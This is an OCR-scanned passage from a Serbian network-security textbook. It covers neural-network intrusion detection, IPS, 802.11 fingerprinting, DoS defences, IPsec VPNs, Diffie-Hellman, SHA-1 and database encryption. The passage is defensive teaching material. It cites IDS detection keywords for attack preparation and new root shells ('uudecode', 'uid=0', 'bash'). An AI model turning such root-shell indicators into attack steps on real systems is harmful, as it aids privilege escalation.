reSavanje problema prepoznavanja uzoraka.

e Nenadgledani algoritmi za obucavanje kod kojih se, mreza obucava bez
zadavanja zeljenih izlaza. (engl. Self-Organizing Maps SOM) je popularan
nenadgledani algoritam; SOM pokusava da pronade topolosko
preslikavanje sa ulaznog prostora na klastere. Koristi se za reSavanje
problema klasifikacije.

Najvaznija osobina neuronskih mreza je automatsko ucenje/menjanje koeficijenata u
neuronskoj mrezi u skladu sa ulaznim i izlaznim podacima. Prilikom uvodenja
neuronske mreze u IDS, prvo se prikazuju podaci koji vaze za normalno stanje, a
zatim se podesavaju koeficijenti koji vaze za stanje napada na nadgledanu racunarsku
mrezu. Ispitivanje performansi sistema se vr$i u uslovima realnog saobracaja i napada
na mrezu. Neuronske mreze su dosta zastupljene u reSavanju slozenih problema kao
Sto su prepoznavanje uzoraka, prepoznavanje rukom pisanog teksta, statisticke
analize.

Ovde navodimo cetiri aplikacije sa neuronskim mreZzama koje su primenjene u IDS,
dve za model sa detektovanjem greSke i dve za model detektovanjem na osnovu
anomalija.

Napad Normalno

skriveni
nivo

Slika 10.3.3.2 Prikaz percepcije sa jednim skrivenim nivoom

U okviru Georgia Technical research institute (GTRI) sprovedeno je istrazivanje na
primeni Multi —Level Perception (MLP) modela i MLP/SOM (Self-Organizing Maps)
za detektovanje zloupotreba na mrezi. MLP prototip je sa karakteristikama: 4 potpuno
povezana nivoa, 9 ulaznih ¢vorova i 2 izlazna ¢vora (normalno i napad). Sa tim
prototipom, simulirani su specifi¢ni napadi kao Sto je ISS skeniranje, SATAN
skeniranje i SYNFlood, i svaki napad je jasno prepoznat u okviru normalnog
saobra¢aja. MLP/SOM prototip je napravljen da detektuje disperzivne napade i
napade gde je moguce pomaganje iznutra. U fazi obucavanja, neuronska mreza je
napredovala veoma brzo. Pocetni rezultati pokazuju da je ¢ak i neuspesno FTP
prijavljivanje ispravno detektovano kao napad.

Istrazivanje neuronskih mreza u IDS u okviru MIT Lincoln laboratorije je dovelo do
testiranja primene neuronskih mreza u modelu detekcije zloupotrebe, trazenjem za
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napad karakteristicnih re¢i u mreznom saobracaju. Oni su koristili MLP za
detektovanje napada na Unix host racunare, i napada za dobijanje root privilegija na
serveru. Genericke klju¢ne reci su odabrane za detektovanje pripreme napada i akcija
koje se izvode posle toga. Percepcija na dva nivoa je napravljena sa k ulaznih
¢vorova, 2k skrivenih ¢vorova i 2 izlazna ¢vora (normalno i napad); prostiranje
unazad u fazi obucavanja detektuje vrednost veza u okviru neuronske mreze. Dobre
performanse za detektovanje napada su postignute sa skupom od 30 odabranih
kljuénih reci, kao §to su ,,cat”,”uudecode”, ili za novi root shell ,,uid=0","bash”

U okviru Reliable Software Technologies Corp. koristili su pristup neuronske mreze
sa modelom detektovanja anomalija i analizom profila ponaSanja programa za IDS.
Profili ponaSanja programa su napravljeni hvatanjem sistemskih poziva koje obavlja
program. Njihov IDS je sa jednim skrivenim nivoom MLP, oni su takode koristili
takozvani Lucky Bucket algoritam da bi zadrzali u memoriji trenutne vrednosti koje
karakteriSu tek izvrSene nenormalne dogadaje, i tako upravljali brojatem: za
normalno stanje, broja¢ tezi ka nuli, a za stanje kada postoji napad brojac tezi ka
jedinici. Performanse ovog sistema su testirane sa DARPA bazom podataka.
Primenjen na detekciju anomalija, sistem detektuje sa dobrim performansama poznate
i nove napade (77% napada je detektovano sa 3% laznih alarama), ali aplikacija sa
detekcijom na osnovu greSke ima znatno viSe laznih alarma, izuzev kada se radi o
primeni u komercijale svrhe.

Sa namerom da iskoristi model sa detekcijom na osnovu izuzetka, A.Ghosh je testirao
metodu detekcije upada sa drugacijom topologijom neuronske mreze, tzv. EImanova
mreza za raspoznavanje mogucnosti za rekurentno izvrSavanje programa. Elmanova
mreza je zasnovana na feed-forward topologiji sa dodatkom zadrzavajuéih ¢vorova
koji sadrze informacije od prethodnih ulaza. Primenjena na DARPA bazu podataka,
Elmanova mreza je u stanju da detektuje 77% napada bez ijednog laznog alarma,
poboljsavajuéi tako rezultate postignute sa MLP tehnologijom.

10.3.3.3 Sistemi za vizalizaciju podataka kao podrska IDS

Sistemi za graficko prikazivanje podataka o stanju u mrezi se koriste kao
pomo¢ profesionalcima koji online nadgledaju velike racunarske mreze. Proces
grafickog prikazivanja stanja u mrezi je dat na slici 10.3.3.3.1.

Vizualizacija

Podaci /procesi

Racunarska Algoritmi
grafika

Slika

Psihologija l Percepcija

Pregled

Slika 10.3.3.3.1 Proces grafi¢kog prikazivanja stanja u mrezi
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-
M Unix OS = O
b5

W Windows 2K 4
M windows NT

No Entry Requested
Entry Accepted
Entry Rejected

Slika 10.3.3.3.2 Graficki prikaz napada na datu racunarsku mreiu

Problem prikuplanja velike koli¢ine informacija u veoma kratkom vremenu, u odnosu
na optimalno vreme za reagovanje na incident, je postavio zahtev za automatizaciju
procesa prikupljanja obrade i prikazivanja podataka. Sto duZe taj proces traje - to ¢e
napadac imati viSe vremena da ucini Stetu pre nego naide na odgovarajuéu reakciju. Iz
tog razloga, ¢isti podaci sami po sebi obezbeduju malo relevantnih informacija na
vreme. Slike dinamickih dogadaja koje se pojavljuju u okviru nekoliko prozora za
nadgledanje mreze predstavljaju znatno laksi nacin da se dode do informacija o
saobracaju na mrezi.

10.3.3.4 Sistemi za prevenciju upada u mrezu IPS

Sa specijalnim hardverom (ASICs, FPGAs, mreznim procesorima) Kkoji je sada
dostupan, prevencija upada u mrezu je realnost. Intrusion Prevention System (IPS) je
bolje implementirati kao prefabrikovani deo mreze nego kao pasivni deo koji se
nakandno dodaje mrezi. Kako svaki paket dolazi u mrezu, on se potpuno analizira i
tada se donosi odluka prolazi-ne prolazi. Ako je paket zlonameran, on se odbacuje
tako da nikada ne dospe do potencijalne Zrtve. Vazno je da se odluka donosi pre nego
Sto paket dospe do zrtve. Postoje proizvodaci koji pokuSavaju da adaptiranjem IDS
naprave IPS. To rade tako Sto koriste TCP resetovanje i prepodeSavanje firewala.
Problemi koji se tada javljaju su brojni. TCP reset je signal koji se Salje napadacu i
zrtvi tako da prekine konekeiju pre nego §to dode do zloupotrebe. Problem je u tome
Sto IDS/IPS vidi napad u isto vreme kada i zrtva napada, tako da je Steta Cesto veé
pri¢injena u vreme kada se Salje signal za reset. Takode TCP reset nije efikasan pritiv
napada koji se ne zasnivaju na TCP. Primer je Slammer crv zasnovan na UDP, koji je
potpuno neosetljiv na TCP reset. PrepodeSavanje firewall-a je signal koji IDS/IPS
Salje firewall-u (ili ruteru) da bi blokirali saobrac¢aj sa IP adrese odakle dolazi napad.
Ovaj metod ima iste slabe strane kao i TCP reset. Dodatno, ometanjem napada Kkoji
li¢i na saobracaj od legitimnog korisnika, napada¢ izaziva promenu pravila na
firewall-u tako da se blokira legitimni korisnik. U osnovi napada¢ tako izaziva napad
ometanjem servisa (DoS).
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Kada se pravilno implementira, IPS zasnovan na hardverskoj platformi dozvoljava
izuzetno precizne i procesorski dobro podrzane definicije zlonamernog saobracaja. To
pomaze da se prevazide interesovanje za IDS. Za uspeSnu primenu IPS dobro je da
implementator Sto bolje poznaje mrezu koju Stiti, tj. da zna koja vrsta saobracaja je
uobucajena za tu mrezu.

Mrezni procesori mogu da obraduju saobracaj do brzina reda Gb/s, Sto je sasvim
prihvatljivo. I kada je ukljuena potpuna zastita IPS ima zadrsku od 215 milisekundi.
Pouzdanost mreznih uredaja za IPS, koji se vezuju redno, je vazan faktor. Niko ne zeli
da ima jo§ jednu tacku otkaza u mrezi. SpreCavanje nezeljenog uticaja IPS na
pouzdanost rada mreze se vrSi odgovaraju¢im izborom protokola za rutiranje koji
obavlja prerutiranje u sluc¢aju otkaza nekog od elemenata u mrezi. Druga mogucénost
je postavljanje redudantnog IPS sistema u rezimu vruce rezerve, koji bi trenutno
preuzeo sve funkcije primarnog sistema. Na kraju, postoji moguc¢nost da se IPS podesi
tako da u slu¢aju otkaza ili preopterecenja propusta sav saobracéaj bez provere.

10.3.3.5 IDS na osnovu hardverskih karakteristika opreme — fingerprint

Oprema za WLAN koju proizvodaci isporucuju, kao $to se i ocekuje,
odgovara standardu IEEE 802.11, a to potvrduje i WiFi asocijacija. Pa ipak proizvodi
mogu da variraju kada je u pitanju implementacija ovog standarda. Svaka
implementacija se sastoji od softvera (drajveri za uredaj), hardvera (radio Cipset), i
firmware za taj Cipset. Kombinacija ove tri komponente je jedinstvena za svaku
implementaciju pa se ona tako moze identifikovati. Nepromenljivo, implementacija
ispoljava isto ponaSanje koje se moze uociti ili izmeriti i ono je jedinstveno. To
ponaSanje se naziva njenim 802.11 otiskom (engl. fingerprint). Takvi otisci nam
omogucavaju da identifikujemo implementacije. Postoje dve vrste identifikacije
otiska implementacije, aktivna i pasivna.

Aktivna identifikacija se zasniva na posmatranju varijacija implementacije 802.11
standarda. Dve aktivne tehnike se razmatraju. Jedna tehnika uzma u obzir odziv
802.11 implementacije na CTS pakete koji pokuSavaju da koriste virtual carrier sense
mehanizam da bi rezervisali pristup medijumu. Druga tehnika je efikasnija i obuhvata
modifikacije paketa koji se razmenjuju tokom tipicnog odziva autentikacija i
pridruzivanje kada se Kklijent prijavljuje na AP. Kada se jednom obavi razmena
podataka rezultat se moze kategorizovati i potraziti u tabeli. Ova tehnika zahteva bar
jedan pokuSaj od strane implementacije za koju treba uraditi otisak, da se pridruzi
pristupnoj tacki, koja je modifikovana tako da Salje posebnu vrstu okvira sa podacima
za pridruzivanje i autentikaciju kao odgovor. Ovi okviri sa podacima izazivaju
razli¢ito reagovanje od strane 802.11 implementacije. Otisak u ovom slucaju je
odgovor 802.11 implementacije na poslate specijalne okvire podataka.

Pasivna identifikacija se obavlja pomocu ofline algoritma. Algoritam uzima kao ulaz
prikupljene 802.11 pakete koje je poslala 802.11 implementacija koja se ispituje. Ona
poredi odredene karakteristike prikupljenih paketa sa bazom podataka koja je ranije
prikupljena, i vraca informaciju o tome koja je implementacija najverovatnije
generisala to Sto je prikupljeno.

Alati i tehnike ovde opisane rade sa neo¢ekivano malom koli¢inom informacija, koje
se Cuvaju u tzv. print database. Tu postoji otisak za svaku implementaciju. Otisak je
baza podataka koja se sastoji od rekorda u formi (packet_type, duration-value, count)
sa kojim daje za dati tip paketa broj pojavljivanja paketa sa odredenim trajanjem. Svi
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okviri sa podacima i upravljacki okviri se posmatraju dok se kontrolni paketi
odbacuju.

10.3.4 Zastita bezi¢ne mreze od napada ometanjem servisa

Kada se DoS napad ve¢ dogodio, male su Sanse da se brzo zaustavi. Ipak
postoji nekoliko koraka koji mogu pomo¢i u ublazavanju posledica napada. Ako je
napad bio usmeren na samo jedan racunar, najbolje je promeniti IP adresu tog
racunara.

Ako je napad nesofisticiran, moze se uociti specifican saobracaj. Ispitivanje
uhvacenih paketa moze otkriti neki podatak na kojem se mogu zasnivati ili ACL
(engl. Access Control List) rutera ili pravila firewall-a. Velika koli¢ina podataka moze
dolaziti od specificnog davaoca Internet usluga ili core rutera. U tom slucaju moze se
privremeno blokirati sav saobracaj koji dolazi od tih izvora. Nazalost blokirace se i
legalan saobracaj, ali to je neizbezno.

Alternativna opcija je dodavanje novog hardvera ili povecanje propusnog opsega i
¢ekanje da napad prode. Ovo mozda nije najbolje resenje, ali moze pruziti privremenu
zaStitu. Poslednja metoda bi bila fizicko isklju¢ivanje servera sa mreze, Sto
administratoru daje vremena da resi problem, ali u tom slucaju ni jedna usluga nece
biti dostupna legalnim korisnicima.

Najlaksi nacin za prezivljavanje DoS napada je planiranje odbrane od njega. U tom
pogledu, formiranje odvojenog bloka IP adresa za hitne slu¢ajeve moze biti korisno.

Najbolji nacin obrane od SYN napada su SYN kolaci¢i (engl. cookies). Oni menjaju
upravljanje TCP protokolom tako da usporavaju zauzimanje resursa dok se ne proveri
IP adresa klijenta.

Firewall nije efikasan protiv DoS napada. Vecina firewall reSenja ne moze da
razlikuje legalan saobracaj od saobracaja koji se koristi kod DoS napada. Novija
firewall reSenja imaju ugradenu mogucnost razlikovanja legalnog od zlonamernog
saobracaja. Oni potvrduju TCP veze pre prosljedivanja na mrezu. Ova mogucnost
zove se “Defender”.

Neki switch uredaji pruzaju automatsko i/ili system-wide rate-limiting, oblikovanje
saobracaja, delayed binding (TCP splicing), proveravanje paketa i filtriranje IP adresa
da bi otkrili i ispravili Stetu koju su naneli DoS napadi kroz automatsko filtriranje i
WAN link failover i balansiranje.

Ruteri su jako sli¢ni switch-u kada su u pitanju DoS napadi. Oni takode imaju rate-
limiting i ACL sposobnosti. Ve¢ina switch-eva se moze lako preopteretiti tokom DoS
napada, tako da nisu efikasni u borbi protiv DoS napada.

Front end hardver analizira pakete podataka prilikom ulaza u sistem i identifikuje ih
kao prioritetne, regularne ili opasne.

Sistemi za prevenciju nedozvoljenog ulazenja (engl. Intrusion-prevention systems -
IPS) jako su efikasni ako napadi imaju specifi¢ne tragove ili potpise. IPS sistemi koji
rade na principu raspoznavanja uzoraka ne mogu blokirati DoS napade koji su
zasnovani na ponasanju.

ASIC (engl. Application Specific Integrated Circuit) zasnovani IPS sistemi mogu
otkriti i blokirati DoS napade jer imaju moguénost analiziranja napada i ponasaju se
kao automatizovani uredaji.
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Rate-based IPS sistemi moraju analizirati granularnost saobracaja i stalno
nadgledati uzorak saobracaja da bi otkrili bilo kakve anomalije. Oni moraju dozvoliti
prolaz legalnom saobracaju, a blokirati DoS napade.

Otpornost bezi¢nih racunarskih mobilnih mreza na ometanje moze se povecati: [38]

1. trenutno se infrastruktura bezi¢nih mreza sastoji i od radio-relejnih linkova. Ako bi
se ovi linkovi zamenili optickim vlaknima, moguc¢nost za ometanje bi se svela na
ometanje interfejsa izmedu bazne stanice i korisnickih jedinica

2. upotreba Sto usmerenijih antena sa velikim potiskivanjem bocnih listova sprecava
radio ometanja iz svih ostalih pravaca osim direktnog, Vrlo je malo verovatno da se
ometac¢ nalazi tacno na liniji propagacija glavnog snopa

3. velicina ¢elija treba da je Sto manja zbog vrlo striktnog ogranicenja izlaznog nivoa
na uredajima. Mala velicina ¢elija povec¢ava mogucnost za handower izmedu celija,
Sto smajuje efikasnost ometanja

4. upotreba frekvencijskog skakanja prisiljava ometaca da svoju izlaznu snagu prosiri
na vec¢i oseg kanala, ako Zeli da uspe u ometanju. Detekcija pravca je takode otezana
usled procesnog pojacanja, zbog slabijeg odnosa S/N, kao i zbog toga Sto vise
predajnika mogu da emituju signal istovremeno

5. obaranje brzine protoka povecava otpornost na ometanje;

6. prednosti impulsnog ometanja se mogu ponistiti upotrebom interliving procedure
kao i upotrebom nekog od Forward Error Corection (FEC) algoritama

7. arhitektura kanala bi trebalo da se isprojektuje tako Sto ¢e ideja 0 ometanju stalno
biti prisutna. Sekvenca skakanja i pseudoslucajna sekvenca za Sirenje spektra ne bi
trebali da se prenose da se pre toga na neki nacin ne kodiraju

8. sinhronizacija bi trebalo da se tako projektuje da bude najteza za ometanje.

10.3.5 VPN u bezZi¢noj mrezi

Virtuelna privatna mreza (VPN) predstavlja privatnu mreznu konekciju koja
se obavlja preko javne mreze. Privatna mreza obezbeduje zasti¢eni prenos preko
neobezbedenog okruzenja, kao $to je beZi¢na racunarska mreza. Krajnji ucesnici u
VPN se ponaSaju kao da su povezani lokalno. VPN zahteva instalaciju specijalnog
hardvera ili VPN softverskih paketa na serveru i u radnim stanicama. VPN Koristi
protokol tunelovanja, kao Sto su Layer 2 Tuneling Protocol (L2TP), IPsec ili Point-to-
Point Tunneling Protocol (PPTP). IPsec nudi najvisi stepen zastite, pa se sve vise
koristi u sigurnim VPN okruzenjima.

IPsec (engl. IP Security) je grupa protokola koji je razvila organizacija IETF
(engl. Internet Engineering Task Force) kako bi zastitila razmenu podataka preko IP sloja
u mreznom protokolu koji se koristi na Internetu. IPsec se koristi kod implementacije
virtualne privatne mreze (engl. Virtual Private Network). Dakle osnovna namena IPsec
protokola je moguénost uspostavljanja sigurne komunikacije izmedu dva racunara preko
nesigurnog medijuma kao 5to je Internet, lokalna mreZa ili bezi¢na mreza.

IPsec ima dva osnovna nacina rada:
* Transportni naéin (transport mode)

U ovom nacinu rada Sifruje se samo teret (payload) koji nosi paket, ne i njegovo

zaglavlje (header).

* Tunelski naéin (tunnel mode)

U ovom nacinu rada Sifruje se i teret i zaglavlje paketa. Smatra se sigurnijim od

transportnog nacina.

Takode postoje i dva protokola koji se koriste u IPsec-u:
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» AH (engl. Authentification header)
Koristi se samo za autentifikaciju svakog pojedinog paketa.
» ESP (engl. Encapsulating Security Payload)

Obavlja autentifikaciju i enkripciju svakog pojedinog paketa.

Dakle iz prethodno navedenog moZe se videti da korisnik koji Zeli autentifikovati
primljeni paket ima ukupno Cetiri razli¢ita nacina na raspolaganju:

* Transportni na¢in/AH

* Tunelski nac¢in/AH

* Transportni na¢in/ESP ukoliko se ne koristi enkripcija

* Tunelski na¢in/ESP ukoliko se ne koristi enkripcija
Medusobna razlika je minorna tako da je prakti¢no svejedno koji ¢e se nacin koristiti. Ali
to donosi sa sobom i pitanje zaSto su nam onda potrebna dva protokola koji se koriste.
Misao vodilja kreatora IPsec-a je bila da se AH koristi kada je potrebna autentifikacija, a
ESP kada je uz autentifikaciju potrebno i pakete zastititi enkripcijom. Na prvi pogled se
vidi kako je transportni nacin rada ustvari deo tunelskog nacina rada, gledajuéi iz
perspektive mreze. Jedina prednost kori§c¢enja transportnog nacina rada je u neSto manjem
optere¢enju mreze, ali i to se da popraviti ukoliko se u tunelskom modu primene neke
metode kompresije zaglavlja paketa. Namecée se zakljuak da se transportni nacin rada
moze izbaciti iz protokola i moze, bez ikakvih posledica, koristiti samo tunelski nacin
rada.
U transportnom nacinu rada bolje je koristiti AH protokol jer on autentifikuje i zaglavlje
paketa. U tunelskom nacinu rada najc¢esce se koristi ESP protokol.
AH protokol ima i neke nedostatke. Najveci nedostatak je to da on autentifikuje zaglavlja
i nizih mreZnih slojeva $to je direktno krSenje nacela modularnosti u izradi mreznih
protokola. Zbog toga AH protokol mora poznavati sve tipove podataka koji se koriste u
zaglavljima nizih mreZnih slojeva. Ukoliko se dogode izmene u standardu koji opisuje
neki od nizih mreznih protokola to ¢e dovesti do problema sa AH protokolom u IPsec-u.
Tunelski nacin rada u kombinaciji sa ESP-om otklanja navedeni problem ali je on i
zahtevniji na Sirinu propusnog opsega (engl. bandwidth).

Osnovna ideja Kkoritenja IPsec-a u bezi¢nim mrezama jeste da bezi¢nu mrezu
smatramo kao i javnu (nesigurnu) mrezu. Dakle bezi¢nu mrezu treba staviti izvan
intraneta organizacije i na taj nacin povecati bezbednost mreza. Kada se zeli primeniti
IPsec u bezi¢noj mrezi prvi korak je instalacija klijentskog programa (ukoliko ve¢ sam
operativni sistem nema podrdku) koji podrZava IPsec na svaki ra¢unar u bezi¢noj mrezi.
Na taj nacin se osigurava da klijent mora pre nego §to se pridruzi bezi¢noj mrezi
uspostaviti IPsec tunel do zi¢ne mreze i samo kroz njega moze komunicirati sa drugim
racunarima. Saobracaj se filtrira na viSe slojeva, na 2. i 3. sloju OSI modela i na taj nacin
se osigurava komunikacija iskljuéivo preko sigurnog tunela. Model mreze koja koristi
IPsec se moze videti na slici 10.3.5.1.

klijent
DHCP/radius/OTP switch na VPN switch na pristupna
server 3. sloju OSI koncentrator 2. sloju OSI tacka(AP)

Slika 10.3.5.1: Model mreze sa IPsec
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Na slici su vidljivi bitni entiteti:
» Klijentska programska i hardverska podrska koja omoguc¢ava komunikaciju klijenta
i pristupne tacke (mreZna kartica, antena, odgovarajuci programi...)
* VPN Klijentska programska podrSka sa licnim firewall-om omogucava
uspostavljanje sigurnog tunela od kraja do kraja tj. od klijentskog racunara do
VPN koncentratora. Firewall Stiti korisnika od raznih opasnosti sa mreze
* Pristupna tacka pruza usluge spajanja klijentima, ali i vrsi filtriranje po IP adresama
izmedu klijenta i mreze
» Switch na drugom sloju OSI modela spaja lokalnu mreZu sa pristupnom tackom.
Neki noviji modeli imaju moguénost koristenja VLAN ACL (VACL) koja dodaje
jo§ jedan sloj u filtriranju adresa
* Switch na treem sloju OSI modela ima ulogu usmeravanja IP paketa prema raznim
modulima a pruZa i uslugu filtriranja IP paketa sa beZi¢ne mreze
* RADIUS server se koristi pri autentifikaciji korisnika Zi¢ne/bezi¢ne mreze
Opcionalno komunicira sa OTP serverom.
» OTP (engl. One-Time Password) server ima ulogu autorizacije OTP informacija
koje Salje RADIUS server
» DHCP server daje adrese VPN klijentima pre i poslije uspostavljanja VPN-a
» VPN koncentrator ima ulogu autentifikacije klijenata, a moZe i dodeljivati IP adrese
klijentima (one koje je dobio od DHCP servera).
Kao $to vidimo uvodenje VPN-a u neku organizaciju zahteva nove, velike investicije. Na
svakoj organizaciji je da proceni isplati li se uvoditi tako kompleksan sistem s obzirom na
njihove potrebe.
IPsec otklanja nekoliko vrsta opasnosti:
* Krada paketa
Krada paketa je nemoguca jer se koristi jaka enkripcija svih podataka koji se 3alju
u eter. Novija programska podrSska dopuSta da se tunel automatski digne ¢im
korisnik pokuSa da se spoji na mrezu tj. kada mu se dodeli ispravna IP adresa. Na
ovaj nacin je izbegnuto da korisnik mora ru¢no podizati tunel, on je osloboden
svih tehnickih detalja
* Napad ¢ovek-u-sredini
Ovaj tip napada je onemogucen koristenjem enkripcije i autentikacije klijenata
* Neovlaséen pristup
Kako je jedino inicijalnim protokolima (DHCP za dodelu privremene IP adrese,
IKE (engl. Internet Key Exchange) koji se brine o raspodeli klju¢eva i ESP kojim
se uspostavlja siguran tunel) dozvoljen prolazak preko filtara nije moguce da bi
napada¢ mogao do¢i do podataka iz lokalne mreze preko pristupne tacke. Dodatno
se mogu pojacati mere bezbednosti na VPN koncentratoru zavisno od vrste
korisnika koji se Zele spojiti
* Umetanje i krada IP paketa
Napada¢ moze snimiti [P paket ali ga ne moze ponovno iskoristiti jer nece
pro¢i proveru i autentifikaciju kroz sve filtre
* Umetanje i krada ARP paketa
Moguce je da napada¢ snimi ARP saobra¢aj na mrezi ali ne moze do¢i do
nikakvih podataka jer se koristi jaka i sigurna enkripcija (3DES ili u novije
vreme AES)
* Otkrivanje topologije mreze
Kako su dozvoljeni protokoli samo IKE, DNS, DHCP i ESP napada¢ ne moze
prodreti sa ICMP (engl. Internet Control Message Protocol) paketima u mrezu, a
tako ne moZe ni otkriti topologiju mreZe.
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Ovom se protokolu zamera velika kompleksnost. Kompleksnost sistema je u suprotnosti
sa njegovom bezbedno$éu jer Sto je sistem kompleksniji veéa je i mogucnost da se
dizajnerima potkradu greSke. Sistem je kompleksan ponajpe jer je na njegovom dizajnu
radilo mnogo ljudi pa se nastojalo da se sve strane zadovolje nausStrb jednostavnosti
dizajna sistema. Ranije je napomenuto da se moZe transportni nacin rada, uz manje
prepravke, u potpunosti izbaciti i koristiti samo tunelski na¢in rada. Isto bi se moglo
zakljuciti i za AH protokol koji vr$i samo autentikaciju korisnika - i on bi se mogao
zameniti sa ESP protokolom koji dozvoljava autentikaciju i enkripciju. Nadalje vecina
struénjaka smatra da bi trebalo autentikaciju u ESP protokolu uciniti obaveznom, a ne
kako je sada, opcionom. Opciona bi trebalo da ostane samo enkripcija.

Mozemo zakljuéiti da je IPsec/VPN tehnologija najbolji izbor za maksimalnu
bezbednost bezi¢nih racunarskih mreza i uprkos visokoj ceni uvodenja i kompleksnosti
sistema trebalo bi je koristiti u svakoj vaznijoj bezi¢noj ra¢unarskoj mrezi.

Jednosmerna funkcija F ima sledece karakteristike. Za datu vrednost x
relativno je lako izracunati vrednost funkcije F(x), ali ako je dato y = F(x) onda ne
postoji lak put za dobijanje vrednosti x, tj. 1/F(X) je veoma tesko izracunati.

Jasno je da se moze izraCunati bilo koji broj odgovarajuc¢ih vrednosti X i F(X) i
smestiti u memoriju u tablicu u kojoj ¢e x biti izrazeno kao funkcija od y. Ako je
domen funkcije vrlo wveliki, nije izvodljivo formiranje inverzne funkcije. Pojam
jednosmeran nije apsolutan ve¢ zavisi od toga za koliko mnogo izracunavanja kazemo
da predstavlja ,,nemoguce veliki broj”. Kazemo da je za zadatu vrednost funkcije
F(x) izracunavanje vrednosti za x racunskim putem neizvodljivo.

Specijalne karakteristike eksponencijalnih funkcija mogu se iskoristiti u zadatku
distribuiranja kljuca. U komunikaciji se dva kraja veze dogovaraju o osnovi a i 0
modulu p velikog prostog broja. Sve aritmeticke operacije koje slede se izvrSavaju po
modulu p. Mogu se primenjivati normalni aritmeticki zakoni. U toj aritmetici funkcija
a na x je jednosmerna funkcija od x. Drugim rec¢ima nalazenje logaritma od x za
osnowvu a nije izvodljivo za skoro sve vrednosti x. To zahteva oko 2p exp %> mnozenja
i otprilike istu kolicinu memorijskog prostora. Jedan sagovornik odabere broj X, a
drugi y. Oni ove brojeve ¢uvaju kod sebe, a jedan drugom Salju a exp x i a exp y. Sada
svaki moze da izracuna a exp xy stepenovanjem. Provalnik koji zna samo predate
vrednosti ne moze da nade ni x niy niti, a exp xy, Vrednost a exp xy je tajni klju¢ koji
je formiran posredstvom javne mreze.

Secure Hash Algorithm, SHA-1, sluzi za izracunavanje zgusnute reprezentacije
poruke ili fajla sa podacima. Kada je poruka bilo koje duZine manje od 2% bitnog
ulaza, SHA-1 pravi 160-bitni izlaz koji se naziva message digest. Message digest
moze biti ulaz za Digital Signature Algorithm (DSA) kojim se generiSe ili verifikuje
potpis poruke. Potpisivanje message digest umesto potpisivanja poruke povecava
efikasnost postupka zato Sto je message digest obicno daleko manji od poruke. Isti
hash algoritam mora biti upotrebljen da verifikuje digitalni potpis kao Sto je
upotrebljen kada je pravljen digitalni potpis.

SHA-1 je nazvan sigurnosnim zato Sto je racunarski veoma teSko pronaci poruku
koja odgovara datoj message digest, ili pronac¢i dve razlicite poruke koje daju istu
message digest. Bilo koja promena u poruci u toku prenosa, ¢e sa velikom
verovatnocom, proizvesti razli¢itu message digest, i potpis ¢e pasti prilikom
verifikacije. SHA-1 je tehnicki usavrseni SHA (FIPS 180). Kruzno levo Siftovanje je
operacija koja je dodata prema specifikaciji u odeljku 7, linija b, strana 9 FIPS 180 i
njegovog ekvivalenta u odeljku 8, linija c, strana 10 FIPS 180. Ova ispravka je
podigla bezbednost koju obezbeduje ovaj standard. SHA-1 je zasnovam na
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principima sli¢nim onima koji su koris¢eni od strane prof. Ronald L. Rivest sa MIT
kada je projektovao MD4 ("The MD4 Message Digest Algorithm™), napravljen
neposredno posle tog algoritma.

Generisanje potpisa Verifikacija potpisa
Poruka Primljena poruka
SHA-1 SHA-1
Sazetak Poruke Sazetak Poruke
(Message Digest) (Message Digest)
Privatni Digitalni | Digitalni Javni

KIjUé DSA operacija POtpiS POthS DSA operacija kIjUé
> Potpisivanja > > Verifikacije <

v

DA- Potpis verifikovan
ili
NE- Verifikacija neuspesna

Slika 10.3.5.2 Upotreba SHA-1 sa DSA

10.3.6 Zastita podataka kriptovanjem na diskovima u mreZzi

Kao joS jedna moguénost zastite baza podataka kojima se pristupa preko mreze,
dostupno je kriptovanje podataka na diskovima u mrezi. Tezi se da krajnji korisnici
§to manje osecaju prisustvo kriptografskog resenja i da im se ne menjaju vremenski
resursi. Pri tome dobro je da kriptografsko reSenje bude uz upotrebu pouzdanih
nosec¢ih softverskih komponenti ¢iji je izvorni kod dostupan, kako bi se Sto realnije
mogla izvrsti procena nivoa bezbednosti reSenja. Dva su najc¢esca pristupa kriptovanju
podataka na diskovima u mrezi:

Kriptovanje unutar baze podataka:

Za realizaciju ovog reSenja lokalne zastite cesto se koristi MySql baza podataka.
Izvorni kod nekih od realizacija je dostupan i/ili postoji moguénost prosirenja dok su
neke realizacije potpuno zatvorene. MySql SUBP ne poseduje sve funkcionalnosti
kao sistemi tipa Oracle ali dovoljan skup funkcionalnosti i povoljna cena su pozitivno
uticali na prihvatanje ovog softvera od strane trzista. Danas vec¢ina programskih jezika
poseduje biblioteke za koris¢enje MySQL-a, a postoji i ODBC interfejs za jezike za
koje nije ugradena podrska. Mesto modula za kriptovanje kod lokalne zastite baze
prikazano je na Slici 10.3.6.1.
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»  deSifrovanje

Baza podataka

Slika 10.3.6.1 Kriptovanje unutar baze podataka [22]

MySgl u svom kriptografskom modulu koristi dva najpoznatija algoritma za
kriptovanje  AES i DES. AES algoritam (“Rijndael”) Kkoristi funkcije
AES_ENCRYPT() i AES_DECRYPT() za kriptovanje i dekriptovanje podataka. U
ovom modulu MySql moze da koristi duzinu kljuc¢a od 128 ili 256 bita. Funkcija
AES ENCRYPT() kao rezultat vraca binarni string (Sifrat), a funkcija
AES DECRYPT() vraca orginalni string (otvoreni tekst). U slucaju kada se proslede
pogresni argumenti funkcijama, obe funkcije vracaju kao rezultat nulu. Za realizaciju
funkcije AES_ENCRYPT() kao argumente funkciji prosledujemo tekst za kriptovanje
i klju¢ algoritma duzine 128 ili 256 bita sa kojim Sifrujemo, a za realizaciju funkcije
AES DECRYPT() kao argumente prosledujemo Sifrat i klju¢ koji smo koristili kod
funkcije AES_ENCRYPT() pri kriptovanju. Prednosti ovakvog sistema kriptovanja
su: realizacija AES algoritma u C programskom jeziku, podaci se u bazi ¢uvaju u
kriptovanom obliku, a mane su nedostupnost izvornog koda, klju¢ se nalazi zajedno sa
kriptovanim podacima, promena kljuca (proces koji zahteva dekriptovanje i ponovno
kriptovanje kompletne baze podataka) i to Sto podaci nisu zaSticeni u toku
komunikacije sa bazom.

Kriptovanje na aplikativhom serveru:

Ovaj vid lokalne =zaStite se postize na klijent/server arhitekturi instalacijom
kriptografskog modula na aplikativnom serveru. Komponente klijent/server
arhitekture moraju se povinovati nekim osnovnim principima kako bi medusobno
delovale ispravno. Ovi principi moraju biti jednozna¢no upotrebljivi u komponentama
klijenta, servera i komunikacionog posrednika. Principi koji moraju biti ispunjeni su:
hardverska nezavisnost, softverska nezavisnost, otvoreni pristup za servise,
distribucija procesa.

